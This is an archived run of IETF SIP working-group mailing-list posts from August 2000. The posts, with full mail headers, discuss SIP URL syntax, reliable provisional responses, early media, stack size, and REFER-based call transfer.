[204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA20150 for <sip-archive@odin.ietf.org>; Mon, 28 Aug 2000 16:34:32 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 1833544395; Mon, 28 Aug 2000 15:12:27 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from bounty.cisco.com (bounty.cisco.com [161.44.3.204]) by lists.bell-labs.com (Postfix) with ESMTP id 3A1C24439B for <sip@lists.bell-labs.com>; Mon, 28 Aug 2000 15:12:11 -0400 (EDT) Received: from cisco.com (rtp-xdm1.cisco.com [161.44.3.80]) by bounty.cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id NAA27560; Mon, 28 Aug 2000 13:47:03 -0400 (EDT) Message-ID: <39AAA582.99F011C7@cisco.com> Date: Mon, 28 Aug 2000 13:46:42 -0400 From: Shail Bhatnagar <shbhatna@cisco.com> X-Mailer: Mozilla 4.51C-CISCOENG [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: sip@lists.bell-labs.com Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] SIP URL syntax - pending issues ?? Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit I am looking at the SIP URL syntax in the Aug 6 bis draft that Henning posted on his page. I would appreciate if somebody can tell me (or point me to a thread on the mailing list) about any pending issues with respect to the SIP URL syntax/BNF . Thanks, -- Best regards, Shail _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 28 16:46:01 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA20310 for <sip-archive@odin.ietf.org>; Mon, 28 Aug 2000 16:46:00 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8AFB3443B0; Mon, 28 Aug 2000 15:22:15 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from wiproecmx2.wipro.com (wiproecmx2.wipro.com [164.164.31.6]) by lists.bell-labs.com (Postfix) with ESMTP id 6053C443AF for <sip@lists.bell-labs.com>; Mon, 28 Aug 2000 15:22:09 -0400 (EDT) Received: from ecvwall1.wipro.com (ecvwall1.wipro.com [192.168.181.23]) by wiproecmx2.wipro.com (8.9.3/8.9.3) with SMTP id RAA24794 for <sip@lists.bell-labs.com>; Mon, 28 Aug 2000 17:59:22 GMT Received: from wslexch.wipsys.soft.net ([192.219.223.59]) by kmglmail.wipsys.soft.net (Netscape Messaging Server 3.6) with ESMTP id AAA6B4; Mon, 28 Aug 2000 17:49:51 +0530 Received: by wslexch.wipsys.soft.net with Internet Mail Service (5.5.2650.21) id <LLBGTWV2>; Mon, 28 Aug 2000 17:51:22 +0530 Message-ID: <53BA505BEC72D21194400000E216A244032088F4@wslexch.wipsys.soft.net> From: Subramania Sivaram <sivaram.subr@wipro.com> To: iesg@ietf.org Cc: sip@lists.bell-labs.com Subject: RE: [SIP] Last Call: Reliability of Provisional Responses in SIP to Proposed Standard Date: Mon, 28 Aug 2000 17:51:21 +0530 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com This document looks good. However, being new to this mailing list, I have a fundamental question. Why was it chosen to support a call control protocol like SIP over an unreliable transport protocol like UDP. HTTP, on which SIP is based, works over a reliable transport, all call control protocols in the PSTN world, like SS7, Q.931 etc. work over a reliable transport. This draft <draft-ietf-sip-100rel-02.txt> and several parts of SIP specification seem to exist because of the need to make SIP work over an unreliable transport protocol. Regards, Sivaram. > -----Original Message----- > From: The IESG [SMTP:iesg-secretary@ietf.org] > Sent: Saturday, August 26, 2000 2:56 AM > Cc: sip@lists.bell-labs.com > Subject: [SIP] Last Call: Reliability of Provisional Responses in SIP > to Proposed Standard > > > The IESG has received a request from the Session Initiation Protocol > Working Group to consider Reliability of Provisional Responses in SIP > <draft-ietf-sip-100rel-02.txt> as a Proposed Standard. > > The IESG plans to make a decision in the next few weeks, and solicits > final comments on this action. Please send any comments to the > iesg@ietf.org or ietf@ietf.org mailing lists by September 8, 2000. > > Files can be obtained via > http://www.ietf.org/internet-drafts/draft-ietf-sip-100rel-02.txt > > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 28 16:54:22 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA20406 for <sip-archive@odin.ietf.org>; Mon, 28 Aug 2000 16:54:22 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8D51F443C1; Mon, 28 Aug 2000 15:24:56 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22]) by lists.bell-labs.com (Postfix) with ESMTP id A87D944351 for <sip@lists.bell-labs.com>; Mon, 28 Aug 2000 15:24:51 -0400 (EDT) Received: from daebh02nok.americas.nokia.com (daebh02nok.americas.nokia.com [172.18.242.183]) by mgw-x2.nokia.com (8.10.2/8.10.2/Nokia) with ESMTP id e7SIKwY07557; Mon, 28 Aug 2000 21:20:58 +0300 (EET DST) Received: by daebh02nok with Internet Mail Service (5.5.2448.0) id <RK729FPH>; Mon, 28 Aug 2000 13:20:57 -0500 Message-ID: <E39024226822D311BC880008C77318A1AB758D@oteis01nok> From: Cliff.Harris@nokia.com To: jdrosen@dynamicsoft.com, schulzrinne@cs.columbia.edu Cc: sip@lists.bell-labs.com Subject: RE: [SIP] Remote ringback. Date: Mon, 28 Aug 2000 13:15:02 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com > -----Original Message----- > From: EXT Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com] > > [ . . . ] > > Some other interactions to consider. We allow the INVITE to > not contain > SDP, and then the 200 and ACK both contain SDP (again, everything must > be mapped to the rules for this two-phase SDP exchange). In this case, > can a 183 be sent with SDP if there was no SDP in the INVITE? I would > assume yes, but if, and only if, PRACK is used, and the PRACK contains > SDP (this way, the two phase exchange is 183/PRACK). Now, if there are > subsequent 183, each with SDP, those 183 COULD do things like > add media > streams, as they represent the initial SDP in the two phase process. > > Now, that raises another issue. If the original INVITE does > contain SDP, > and then the 183 contains SDP, can the PRACK contain SDP? I say no - > same reason you shouldn't have SDP in the INVITE, OK and ACK. > Does PRACK have a way of refusing to change an existing media stream to a new media type (i.e., in response to a second 1xx after a media stream has already been set up)? If not, then how far can the analogy with re-INVITEs be pushed? On a different topic: > -----Original Message----- > From: EXT Cliff.Harris@nokia.com [mailto:Cliff.Harris@nokia.com] > Sent: Friday, August 25, 2000 5:53 PM > To: schulzrinne@cs.columbia.edu > Cc: jdrosen@dynamicsoft.com; brett@broadsoft.com; > sip@lists.bell-labs.com > Subject: RE: [SIP] Remote ringback. > > > True enough. What I was trying to get at is that maybe the > UAC is incapable > of sending early media, and if the UAS refuses to set up a > call when it > doesn't receive any early media, the UAS may run into interoperability > problems. I suppose there is no need to mention this in the RFC. > > > -----Original Message----- > > From: EXT Henning Schulzrinne [mailto:schulzrinne@cs.columbia.edu] > > Sent: Friday, August 25, 2000 5:50 PM > > To: Cliff.Harris@nokia.com > > Cc: jdrosen@dynamicsoft.com; brett@broadsoft.com; > > sip@lists.bell-labs.com > > Subject: Re: [SIP] Remote ringback. > > > > > > Cliff.Harris@nokia.com wrote: > > > > > > > > > > > "A UAS that expects to interoperate with non-SIP endpoints > > {\SHOULD} be > > > prepared for the possibility that no media will be received > > from the UAC > > > before the INVITE transaction is complete, even when a > > bidirectional early > > > media stream has been set up." > > > > Nobody can require that I send media for anything, so I'm not > > sure this > > is particularly special or helpful. > > > > -- > > Henning Schulzrinne http://www.cs.columbia.edu/~hgs > > Maybe I was too quick to concede the point. Another way of looking at it is that if I am writing a gateway, and I see that SIP allows bidirectional early media streams, I may be wondering how I should handle such requests. Assume that the PSTN protocol allows only one-way early media; then there are two choices: 1. When the 183 is received, set up a send-only media stream, regardless of whether two-way media are requested. 2. Connect the call early on the PSTN side, to allow the two-way media stream to be set up (perhaps causing problems with billing). I believe the correct choice is the first one; I am wondering if the RFC should give guidance on this issue. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 28 17:39:00 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA21009 for <sip-archive@odin.ietf.org>; Mon, 28 Aug 2000 17:39:00 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 62B8A4433D; Mon, 28 Aug 2000 16:38:58 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from imr1.ericy.com (imr1.ericy.com [208.237.135.240]) by lists.bell-labs.com (Postfix) with ESMTP id 0494144339 for <sip@lists.bell-labs.com>; Mon, 28 Aug 2000 16:38:55 -0400 (EDT) Received: from mr5.exu.ericsson.se. (mr5u3.ericy.com [208.237.135.124]) by imr1.ericy.com (8.9.3/8.9.3) with ESMTP id QAA27882; Mon, 28 Aug 2000 16:38:49 -0500 (CDT) Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.75.179]) by mr5.exu.ericsson.se. (8.10.2/8.10.2) with ESMTP id e7SLc8G22642; Mon, 28 Aug 2000 16:38:09 -0500 (CDT) Received: from b04a45.exu.ericsson.se (b04a45 [138.85.60.145]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id QAA28524; Mon, 28 Aug 2000 16:38:43 -0500 (CDT) From: Sean Olson <eussean@exu.ericsson.se> Received: (from eussean@localhost) by b04a45.exu.ericsson.se (8.9.1/8.9.1) id QAA08602; Mon, 28 Aug 2000 16:38:42 -0500 (CDT) Date: Mon, 28 Aug 2000 16:38:42 -0500 (CDT) Message-Id: <200008282138.QAA08602@b04a45.exu.ericsson.se> To: sip@lists.bell-labs.com, farhan@hotfoon.com Subject: Re: [SIP] syntax .. a clarification X-Sun-Charset: US-ASCII Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com > on a personal note, I am trying to develop very small footprint SIP stacks. > It is also important for developers like me and biggs that the sip stack be > prevented from growing so big that we will realistically miss out on large > chunks of functionality. the large size of vovida stack is an indicator of > the way implementations are going. I think this is a gross overgeneralization. Furthermore, I think you'll find that stacks such as Vovida's and others provide a great deal more functionality above and beyond what a bare bones SIP stack might. If you're application does not require this level of functionality, you may save something by using a smaller stack. If however your application does require this level of functionality, you will probably find this approach appealing. I do not think you will find a one-size-fits-all SIP stack just as you won't find a one-size-fits-all HTTP server. That being said, I do believe it is possible to build a compact SIP stack. It is just a question of what tradeoffs you are willing to make. -- Sean Olson <sean.olson@ericsson.com> _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 28 17:57:05 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA21209 for <sip-archive@odin.ietf.org>; Mon, 28 Aug 2000 17:57:05 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id C70B64434E; Mon, 28 Aug 2000 16:56:20 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from smtprch1.nortel.com (smtprch1.nortelnetworks.com [192.135.215.14]) by lists.bell-labs.com (Postfix) with ESMTP id 8CCF344339 for <sip@lists.bell-labs.com>; Mon, 28 Aug 2000 16:56:16 -0400 (EDT) Received: from zrchb200.us.nortel.com (actually zrchb200) by smtprch1.nortel.com; Mon, 28 Aug 2000 16:49:47 -0500 Received: by zrchb200.us.nortel.com with Internet Mail Service (5.5.2652.35) id <Q65JKXHF>; Mon, 28 Aug 2000 16:48:02 -0500 Message-ID: <F908F961B7CDD111BC720000F8073E4303F9C41A@crchy271.us.nortel.com> From: "Scott Orton" <orton@nortelnetworks.com> To: "sip (E-mail)" <sip@lists.bell-labs.com> Date: Mon, 28 Aug 2000 16:47:58 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C01139.A15C9060" Subject: [SIP] Inconsistency in table 2 and the URL comparison rules and context matching in the rfc2543bis-01 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C01139.A15C9060 Content-Type: text/plain; charset="iso-8859-1" I have come across a inconsistency in Table 2 regarding the password parameter. Table 2 states that the password is not allowed in the From header. But the comparison rules for the sip URL state in the third bullet that the "user, password, host, port and any url-parameters of the URI must match." Based on these it seems to me that the From and To headers both need to allow the same parameters or context matching will fail at the User Agent. I would suggest that Table 2 be modified to optionally include password in the From. Scott Orton <orton@nortelnetworks.com> ------_=_NextPart_001_01C01139.A15C9060 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN"> <HTML> <HEAD> <META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; = charset=3Diso-8859-1"> <META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version = 5.5.2652.35"> <TITLE>Inconsistency in table 2 and the URL comparison rules and = context matching in the rfc2543bis-01

I have come across a inconsistency in = Table 2 regarding the password parameter. Table 2 states that the = password is not allowed in the From header. But the comparison rules = for the sip URL state in the third bullet that the "user, = password, host, port and any url-parameters of the URI must = match."

Based on these it seems to me that the = From and To headers both need to allow the same parameters or context = matching will fail at the User Agent.

I would suggest that Table 2 be = modified to optionally include password in the From.


Scott Orton
<orton@nortelnetworks.com> =

 

------_=_NextPart_001_01C01139.A15C9060-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 28 22:44:54 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA25726 for ; Mon, 28 Aug 2000 22:44:53 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2ED814433B; Mon, 28 Aug 2000 21:44:37 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hd2.dot.net.in (hd2.vsnl.net.in [202.54.30.2]) by lists.bell-labs.com (Postfix) with ESMTP id BB82544338 for ; Mon, 28 Aug 2000 21:44:33 -0400 (EDT) Received: from bigboy ([202.54.30.149]) by hd2.dot.net.in (8.8.8/8.8.8) with SMTP id IAA06062 for ; Tue, 29 Aug 2000 08:11:12 +0530 (IST) Message-ID: <003701c01163$546df260$951e36ca@bigboy> Reply-To: "farhan" From: "farhan" To: "sip" Date: Tue, 29 Aug 2000 08:16:25 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Subject: [SIP] small sip stacks Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit i am in total agreement with sean that we do need complete stacks. we need reference implementations that do everything in the book. vovida's stack is ofcourse a case in point. so is the excellent stack of dynamicsoft.com is the 'taj mahal' of sip stacks - it is beautiful. i am also convinced that there is never going to be the one and only true stack. different platforms, different architectures and needs will drive how big ever a stack is going to be. sean correctly points out that from apache server to a small server stuffed into a PIC chip, it is possible to implement the http protocol anywhere. But it is illuminating to note that even the smallest of tcp or http stacks are fully functional without any tradeoffs of functionality. There are only tradeoffs of scalability and performance. sean also said that - >That being said, I do believe it is possible to build a compact SIP stack. >It is just a question of what tradeoffs you are willing to make. the only tradeoff i am willing to make is in terms of performance, not functionality. a good protocol will allow you to implement itself as simply or as optimally as you like. I have seen completely functional tcp stacks written in less than 2000 lines of code. students have written email UAs with a few hundred lines of code. I am arguing that sip protocol should also be the same. implement it in 1000 lines or in 1 million. It is the implementor's call. my finaly argument for smaller stacks is not scientific in nature. it is just that huge stacks are not "simply profound". even though they maybe inefficient, it is always an excellent engineering decision to not over-engineer a protocol and leave it 80% OK. if you take a darwinian perspective on the survival of the best protocols, often enough, brilliantly designed protocols have often given way to simpler and easier to work with protocols. SGML never took off the way HTML did. Microsoft's DCOM failed where SOAP is succeeding. - farhan - farhan. let's be clear that there isn't 'a' stack but probably two stacks that we are really looking at. the UA stack and the proxy stack. I am convinced that the proxy stacks ought to be strong and big. I am convinced that the UA stacks ought to be small and light. (compare sendmail with elm). the tradeoffs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 28 22:56:42 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA25813 for ; Mon, 28 Aug 2000 22:56:41 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E0C5D44349; Mon, 28 Aug 2000 21:55:42 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ertpg14e1.nortelnetworks.com (ertpg14e1.nortelnetworks.com [47.234.0.35]) by lists.bell-labs.com (Postfix) with ESMTP id 01D1E44338 for ; Mon, 28 Aug 2000 21:55:35 -0400 (EDT) Received: from zrtpd004.us.nortel.com (actually zrtpd004) by ertpg14e1.nortelnetworks.com; Mon, 28 Aug 2000 22:55:12 -0400 Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id ; Mon, 28 Aug 2000 22:55:08 -0400 Message-ID: <28560036253BD41191A10000F8BCBD11480CA2@zcard00g.ca.nortel.com> From: "Tom-PT Taylor" To: "'Rohan Mahy'" Cc: Jonathan Rosenberg , Brett Tate , SIPbell-labs , rsparks@dynamicsoft.com Subject: RE: [SIP] draft-ietf-sip-cc-transfer-00 comments and questions Date: Mon, 28 Aug 2000 22:55:05 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C01164.89003D70" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C01164.89003D70 Content-Type: text/plain; charset="iso-8859-1" I put the media on hold where necessary, so that flows are happening on just one branch. > -----Original Message----- > From: Rohan Mahy [mailto:rohan@cisco.com] > Sent: Friday, August 25, 2000 1:38 PM > To: Taylor, Tom-PT [NORSE:B901:EXCH] > Cc: Jonathan Rosenberg; Brett Tate; SIPbell-labs; > rsparks@dynamicsoft.com > Subject: RE: [SIP] draft-ietf-sip-cc-transfer-00 comments and > questions > > > At 09:53 PM 8/24/00 , Tom-PT Taylor wrote: > > >I've been plugging REFERS into call flows for each of the > services you > >list in your latest comment, and it works on the assumption > that matching > >call-id means that party C shouldn't indicate it is busy or > invoke call > >waiting. These flows actually take advantage of the fact > that the old > >call leg remains in place until explicitly taken down. > > So in the interim, you assume the calls are joined/mixed? > > thanks, > -rohan > > > > > -----Original Message----- > > > From: Rohan Mahy [mailto:rohan@cisco.com] > > > Sent: Thursday, August 24, 2000 1:46 PM > >... > > > > > > >Rohan Mahy wrote: > > > > > > > > > > Hi, > > > > > > > > > > Let me try and rephrase Brett's question. Let's assume > > > the following > > > > scenario: > > > > > > > > > > A sends REFER to B with a Refer-To: > > > > > B sends an INVITE to C with Referred-By: > > > > > > > > > > When C receives an INVITE with a Referred-By header, how > > > does C know > > > > > whether to: > > > > > a) accept this INVITE as a new call, > > > > > > > >This is the case when the Call-ID is unknown. > > > > > > > > > b) accept this INVITE as a replacement for > > > another call leg, or > > > > > > > >I assume you are talking about the now-defunct Replaces: > function? I > > > >believe now > > > >that this function is quite a complex one and something that > > > merits much > > > >more discussion > > > >before deciding if its needed. > > > > > > I'm sure folks will want to do things like: > > > > > > Attended transfer > > > Consultative Conference > > > transitioning from a 3-way call to an MCU controlled > > > conference > > > screening voicemail messages > > > etc... > > > > > > I could go on for pages. > > > > > > All these features require a way to take an existing call > > > leg, replace it > > > with another, and keep the old resources (speaker/microphone, > > > DS0, video > > > window, whatever) associated with the new call leg. > > > > > > > > c) accept this INVITE as new party in an > > > existing call ?? > > > > > > > >Known call-id. > > > > > > I don't think this is sufficient. First, I think the > > > existing call-id is > > > better suited for replacement of call legs as described above. > > > > > > Second, from the definition of call, conference, session, and > > > call-id in > > > the bis draft, I have always interpreted this to mean that if > > > A calls B, > > > and B calls C, if you join these two calls together, they > > > need to keep > > > unique call ids. Neither call was invited by a common > > > source, and neither > > > call necessarily has or will use the same session description. > > > > > > from the bis draft: > > > >Call: A call consists of all participants in a conference > > > invited by a > > > >common source. A SIP call is identified by a globally > unique call-id > > > >(Section 6.12). Thus, if a user is, for example, invited > to the same > > > >multicast session by several people, each of these > > > invitations will be a > > > >unique call. A point-to-point Internet telephony > > > conversation maps into a > > > >single SIP call. In a multiparty conference unit (MCU) > based call-in > > > >conference, each participant uses a separate call to invite > > > himself to the MCU. > > > > > > >Conference: A multimedia session (see below), identified > by a common > > > >session description. A conference can have zero or more > members and > > > >includes the cases of a multicast conference, a full-mesh > > > confer-ence and > > > >a two-party "telephone call", as well as combinations of > > > these. Any number > > > >of calls can be used to create a conference. > > > > > > > > > We need a way to semantically link multiple calls with > > > distinct call-ids. > > > > > > thanks, > > > -rohan > > > > > > > > > > > > > > The semantics aren't well-defined yet. The draft just > > > mentions that you > > > > > can include a call-id in the refer-to or referred-by URL. > > > It doesn't say > > > > > what that would mean or what you should do with it. > > > > > > > >Thats something that needs to be addressed in the bis draft. > > > It needs to > > > >say what it means to receive a call from a different party > > > but with the > > > >same call-ID as an existing call. > > > > > > > >-Jonathan R. > > > >-- > > > >Jonathan D. Rosenberg 72 Eagle Rock Ave. > > > >Chief Scientist First Floor > > > >dynamicsoft East > Hanover, NJ 07936 > > > >jdrosen@dynamicsoft.com FAX: (973) 952-5050 > > > >http://www.cs.columbia.edu/~jdrose > n PHONE: (732) 741-7244 > > >http://www.dynamicsoft.com > > > > > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > > http://lists.bell-labs.co > m/mailman/listinfo/sip > > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip ------_=_NextPart_001_01C01164.89003D70 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [SIP] draft-ietf-sip-cc-transfer-00 comments and = questions

I put the media on hold where necessary, so that = flows are happening on just one branch.

> -----Original Message-----
> From: Rohan Mahy [mailto:rohan@cisco.com]
> Sent: Friday, August 25, 2000 1:38 PM
> To: Taylor, Tom-PT [NORSE:B901:EXCH]
> Cc: Jonathan Rosenberg; Brett Tate; = SIPbell-labs;
> rsparks@dynamicsoft.com
> Subject: RE: [SIP] = draft-ietf-sip-cc-transfer-00 comments and
> questions
>
>
> At 09:53 PM 8/24/00 , Tom-PT Taylor = wrote:
>
> >I've been plugging REFERS into call flows = for each of the
> services you
> >list in your latest comment, and it works = on the assumption
> that matching
> >call-id means that party C shouldn't = indicate it is busy or
> invoke call
> >waiting.  These flows actually take = advantage of the fact
> that the old
> >call leg remains in place until explicitly = taken down.
>
> So in the interim, you assume the calls are = joined/mixed?
>
> thanks,
> -rohan
>
>
> > > -----Original Message-----
> > > From: Rohan Mahy [<mailto:rohan@cisco.com>mailto:rohan@cisco.com]
> > > Sent: Thursday, August 24, 2000 1:46 = PM
> >...
> > >
> > > >Rohan Mahy wrote:
> > > > >
> > > > > Hi,
> > > > >
> > > > > Let me try and rephrase = Brett's question.  Let's assume
> > > the following
> > > > scenario:
> > > > >
> > > > > A sends REFER to B with a = Refer-To: <C>
> > > > > B sends an INVITE to C with = Referred-By: <A>
> > > > >
> > > > > When C receives an INVITE = with a Referred-By header, how
> > > does C know
> > > > > whether to:
> > > > = >          a) accept = this INVITE as a new call,
> > > >
> > > >This is the case when the Call-ID = is unknown.
> > > >
> > > > = >          b) accept = this INVITE as a replacement for
> > > another call leg, or
> > > >
> > > >I assume you are talking about = the now-defunct Replaces:
> function? I
> > > >believe now
> > > >that this function is quite a = complex one and something that
> > > merits much
> > > >more discussion
> > > >before deciding if its = needed.
> > >
> > > I'm sure folks will want to do things = like:
> > >
> > = >          Attended = transfer
> > = >          Consultative = Conference
> > = >          = transitioning from a 3-way call to an MCU controlled
> > > conference
> > = >          screening = voicemail messages
> > = >          = etc...
> > >
> > > I could go on for pages.
> > >
> > > All these features require a way to = take an existing call
> > > leg, replace it
> > > with another, and keep the old = resources (speaker/microphone,
> > > DS0, video
> > > window, whatever) associated with the = new call leg.
> > >
> > > > = >          c) accept = this INVITE as new party in an
> > > existing call   ??
> > > >
> > > >Known call-id.
> > >
> > > I don't think this is = sufficient.  First, I think the
> > > existing call-id is
> > > better suited for replacement of call = legs as described above.
> > >
> > > Second, from the definition of call, = conference, session, and
> > > call-id in
> > > the bis draft, I have always = interpreted this to mean that if
> > > A calls B,
> > > and B calls C, if you join these two = calls together, they
> > > need to keep
> > > unique call ids.  Neither call = was invited by a common
> > > source, and neither
> > > call necessarily has or will use the = same session description.
> > >
> > > from the bis draft:
> > > >Call: A call consists of all = participants in a conference
> > > invited by a
> > > >common source. A SIP call is = identified by a globally
> unique call-id
> > > >(Section 6.12). Thus, if a user = is, for example, invited
> to the same
> > > >multicast session by several = people, each of these
> > > invitations will be a
> > > >unique call. A point-to-point = Internet telephony
> > > conversation maps into a
> > > >single SIP call. In a multiparty = conference unit (MCU)
> based call-in
> > > >conference, each participant uses = a separate call to invite
> > > himself to the MCU.
> > >
> > > >Conference: A multimedia session = (see below), identified
> by a common
> > > >session description. A conference = can have zero or more
> members and
> > > >includes the cases of a multicast = conference, a full-mesh
> > > confer-ence and
> > > >a two-party "telephone = call", as well as combinations of
> > > these. Any number
> > > >of calls can be used to create a = conference.
> > >
> > >
> > > We need a way to semantically link = multiple calls with
> > > distinct call-ids.
> > >
> > > thanks,
> > > -rohan
> > >
> > >
> > >
> > > > > The semantics aren't = well-defined yet.  The draft just
> > > mentions that you
> > > > > can include a call-id in = the refer-to or referred-by URL.
> > >  It doesn't say
> > > > > what that would mean or = what you should do with it.
> > > >
> > > >Thats something that needs to be = addressed in the bis draft.
> > > It needs to
> > > >say what it means to receive a = call from a different party
> > > but with the
> > > >same call-ID as an existing = call.
> > > >
> > > >-Jonathan R.
> > > >--
> > > >Jonathan D. = Rosenberg          &nb= sp;            = 72 Eagle Rock Ave.
> > > >Chief = Scientist          &nb= sp;           &nb= sp;      First Floor
> > > = >dynamicsoft         &nb= sp;           &nb= sp;           East =
> Hanover, NJ 07936
> > > = >jdrosen@dynamicsoft.com       &nb= sp;           &nb= sp; FAX:   (973) 952-5050
> > >
><http://www.cs.columbia.edu/~jdrosen>http://www.cs.columbia.edu/~jdrose
> = n         PHONE: (732) = 741-7244
> > ><http://www.dynamicsoft.com>http://www.dynamicsoft.com
> >
> >
> >
> > = _______________________________________________
> > SIP mailing list
> > SIP@lists.bell-labs.com
> >
> <http://lists.bell-labs.com/mailman/listinfo/sip>= ;http://lists.bell-labs.co
> m/mailman/listinfo/sip
> >



_______________________________________________
SIP mailing list
SIP@lists.bell-labs.com
http://lists.bell-labs.com/mailman/listinfo/sip

